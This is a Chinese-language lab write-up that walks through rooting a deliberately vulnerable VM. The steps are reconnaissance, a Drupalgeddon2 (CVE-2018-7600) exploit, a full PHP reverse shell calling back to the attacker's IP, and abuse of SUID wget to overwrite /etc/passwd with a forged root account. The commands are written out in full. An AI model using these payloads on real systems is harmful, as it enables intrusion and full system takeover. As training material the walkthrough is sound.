目标:拿下该靶机的最高权限。
工具:kali
难度:低等
注:该靶机是继DC靶机渗透之后专门针对于信息收集强化的靶机,所以信息收集篇幅会过长。
一,信息收集
1.1利用arp-scan获得靶机IP地址
# kali arp-scan -l其他IP地址都是固定的,所以可以直接知道靶机的IP地址:192.168.182.194
1.2利用nmap获取详细服务信息。
# kali nmap -sV 192.168.182.194可以知道打开了端口22和80,所以我们就会去查找关于web服务信息。
1.3利用whatweb查找详细服务信息。
# kali whatweb -v 192.168.182.194似乎只能知道web服务器和详细版本。
1.4利用扫描靶机路径
# kali dirb http://192.168.182.194 /usr/share/wordlists/dirb/common.txt那么可以通过下面扫描出来的判断,目标路径是 :192.168.182.194/drupal/
那么就再扫描路径一次。这次扫描出来了,非常详细的路径。
# kali dirsearch -u http://192.168.182.194/drupal/ -i 200就会发现里面扫描出来了很多配置文件,作者就下载下来了一个文件看看。
这样就可以发现 Drupal 的精准版本是 7.57 ,那么我们可以考虑去相关荷载去攻击。
二,利用CMS漏洞进行攻击
2.1利用kali找到相关荷载
我们可以通过AI搜索找到存在 CVE-2018-7600(Drupalgeddon2)这个漏洞,那么就可以找到三个荷载。
# kali searchsploit Drupalgeddon2那我们就选择 44449.rb 荷载进行攻击(关于作者为什么会选择对的荷载,那是因为其他荷载都是尝试过了只有这个成功了)。
# kali searchsploit -m php/webapps/44449.rb # 将荷载放在桌面上 # 需要利用命令下载: gem install highline ./44449.rb http://192.168.182.194/drupal/这样就进入了服务器里面了。
2.2进行root提权
我们可以看到我们的权限还可以,但是不是最高的。并且我们也没有本身的最高权限执行文件,那么就只好去查看 SUID提权了。
# kali find / -perm -4000 -type f 2>/dev/null由于是RUBY的非shell交互环境(非TTY环境),所以 > 没有意义在里面,所以会有一大堆信息出来,而作者只是截取具有SUID提权的文件。 我们可以看到文件 /usr/bin/wget 具有SUID权限,并且作用是下载文件。(后面我们需要反复利用这个文件作用)
我们就需要解决非TTY环境问题。
首先需要在 kali 上打开web服务,这样可以让我们利用 /usr/bin/wget 往我们kali上下载文件。(必须要在同一局域网中才能进行下载文件)
# kali # 在 kali 桌面上执行该命令,因为文件作者都是放在桌面为标准 python3 -m http.server 8000我们需要在kali桌面上创建文件 shell_os.php 并且在文件里面写入:
# 可以让AI给你以PHP编程编写反弹shell <?php set_time_limit(0); $ip = '192.168.182.149'; // 你的 Kali IP $port = 4444; // 监听端口 $sock = fsockopen($ip, $port); if (!$sock) { die("无法连接"); } $proc = proc_open('/bin/bash -i', array( 0 => $sock, 1 => $sock, 2 => $sock ), $pipes); ?>我们可以利用 44449.rb 之后的非交互终端找到网站的根目录 /var/www/html ,我们就需要将PHP反弹shell写入网站根目录下面。
# hackNos /usr/bin/wget http://192.168.182.149:8000/shell_os.php -O /var/www/html/shell_os.php # 还需要在kali中执行 nc -lvnp 4444然后我们去访问网站 http://192.168.182.194/shell_os.php 让网站解析这个PHP文件,我们就可以利用kali连接上了。
利用下面命令来提升为TTY环境,这样我们的命令就可以正常使用了。接下来,我们就利用TTY进行执行命令了。
# www-date python -c "import pty;pty.spawn('/bin/bash')"我们可以看到文件 /usr/bin/wget 的作用是下载文件,那么我们可以利用该文件来新建一个超级用户。由于 /usr/bin/wget 只有 -O 这样覆盖文件的功能,但是我们建立超级用户就需要往 /etc/passwd 里面写入正确的格式,为了不破坏文件,必须按照下面这样做。
这个是 /etc/passwd 里面的内容,我们需要保存一份。
# /etc/passwd # 直接利用命令 /etc/passwd 得到下面 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false james:x:1000:1000:james,,,:/home/james:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false然后在我们自己的 kali 桌面上写入文件 ps.txt。这样我们创建成功了。(在这里面还有一种思路,可以不用建立新的超级用户,而是将原有的用户密码和权限在ps.txt文件进行修改,这样就可以实现james直接有最高权限。)
# 在文件中写入,我们之前保存的一份 /etc/passwd # 在第一行,写入我们伪造的用户:密码=hacker:123456 # 在kali里面执行命令 :openssl passwd -1 -salt hacker 123456 # 就会得到加盐哈希:$1$hacker$6luIRwdGpBvXdP.GMwcZp/ # 将按照root格式写入就可以了 hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false james:x:1000:1000:james,,,:/home/james:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false# hackNos /usr/bin/wget http://192.168.182.149:8000/ps.tx -O /etc/passwd# hackNos su hacker然后就可以输入密码 :123456
这样就得到了最高权限了,我们就成功了。(该靶机的解题思路非常的简单,但坑是非常的多,这里文章里面都规避了作者所踩到的坑,总之可以尝试一下作者文章中提到的其他的解题思路呢,喜欢不妨多多评论一下!)